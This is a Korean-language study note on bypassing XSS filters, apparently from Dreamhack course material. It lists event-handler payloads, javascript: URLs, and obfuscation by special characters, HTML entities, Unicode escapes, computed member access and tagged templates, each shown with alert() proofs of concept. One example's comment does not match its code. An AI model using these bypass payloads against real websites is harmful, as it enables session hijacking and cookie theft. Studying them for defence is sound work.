XSS Filtering Bypass
XSS
공격 기법이란 Cross Site Scripting
의 약자로 공격자가 상대방의 브라우저에 스크립트가 실행되도록 해 사용자의 세션을 가로채거나, 웹사이트를 변조하거나, 악의적 콘텐츠를 삽입하거나, 피싱 공격을 진행하는 것을 말한다. 하지만 만약 XSS
기법을 막기위해 Filtering
이 되어있다면 해당 Filtering
을 우회해서 공격해야 한다.
자바 스크립트 실행
공격자가 자바 스크립트를 실행할 수 있는 방법은 <script>
태그 말고도 다양하다.
이벤트 핸들러 속성
이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수이다. 따라서 이벤트 헨들러에 XSS
공격 코드를 삽입해두면 해당 이벤트가 발생했을때 공격코드가 실행되게 된다.
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->
<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->
대표적으로 위와 같은 onload
, onerror
, onfocus
핸들러가 존재한다.
활성 하이퍼링크
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있다. 이 중 javascript:
스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 한다.
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
Filtering
XSS
기법을 막기 위해서 다양한 Filtering
이 존재한다. 하지만 이를 우회할 수 있는 방법도 다양하다.
특수문자를 포함한 우회
아래의 코드처럼 특수문자를 이용해 우회할 수 있다. 아래와 같은 입력값을 준다면 문자열을 비교할때 탐지가 되지않고 브라우저들이 URL을 사용할때 거치는 과정중 정규화 (Normalization)
을 이용해 우회할 수 있게된다. 정규화
과정에서 특수문자는 제거되고 대소문자가 통일되기 때문에 정상적ㅇ로 URL 사용이 가능해진다.
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
HTML Entity Encoding
특수문자와 비슷한 방법으로 HTML Entity Encoding
을 이용할 수 있다.
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
Unicode escape sequence
자바스크립트는 Unicode escape sequence
를 지원하기 때문에 필터링된 문자열을 Unicode escape sequence
로 변환해서 우회가 가능하다.
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
Computed member access
또한 자바스크립트는 Computed member access
을 지원하기 때문에 이를 이용해 우회가 가능하다.
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
() 필터링 우회
함수 호출을 막기위해 소괄호가 필터링되어있다면 Tagged Templates(백틱, `)을 이용해 우회할 수 있다.
alert(1); // Parentheses
alert`1`; // Tagged Templates